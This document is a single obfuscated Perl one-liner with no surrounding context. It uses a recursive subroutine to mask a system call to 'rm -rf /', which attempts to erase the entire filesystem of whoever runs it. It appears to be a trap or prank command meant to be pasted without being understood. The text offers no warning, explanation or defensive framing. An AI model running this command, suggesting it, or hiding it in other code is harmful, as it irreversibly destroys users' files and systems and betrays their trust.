perl -e '_(qw|JUNK rm -rf /|);sub _{shift&&&_&&system @_}'